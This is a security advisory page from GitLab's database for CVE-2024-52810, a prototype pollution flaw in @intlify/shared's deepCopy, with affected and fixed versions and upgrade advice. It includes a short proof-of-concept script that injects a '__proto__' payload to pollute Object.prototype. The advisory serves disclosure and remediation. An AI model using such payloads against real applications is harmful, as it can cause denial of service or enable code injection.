Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. vue-i18n
  4. ›
  5. CVE-2024-52810

CVE-2024-52810: @intlify/shared Prototype Pollution vulnerability

December 2, 2024

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application’s context.

PoC:

// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

References

  • github.com/advisories/GHSA-hjwq-mjwj-4x6c
  • github.com/intlify/vue-i18n
  • github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d
  • github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c
  • nvd.nist.gov/vuln/detail/CVE-2024-52810

Code Behaviors & Features

Detect and mitigate CVE-2024-52810 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 9.7.0 before 9.14.2, all versions starting from 10.0.0 before 10.0.5

Fixed versions

  • 9.14.2
  • 10.0.5

Solution

Upgrade to versions 10.0.5, 9.14.2 or above.

Weakness

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Source file

npm/vue-i18n/CVE-2024-52810.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:07 +0000.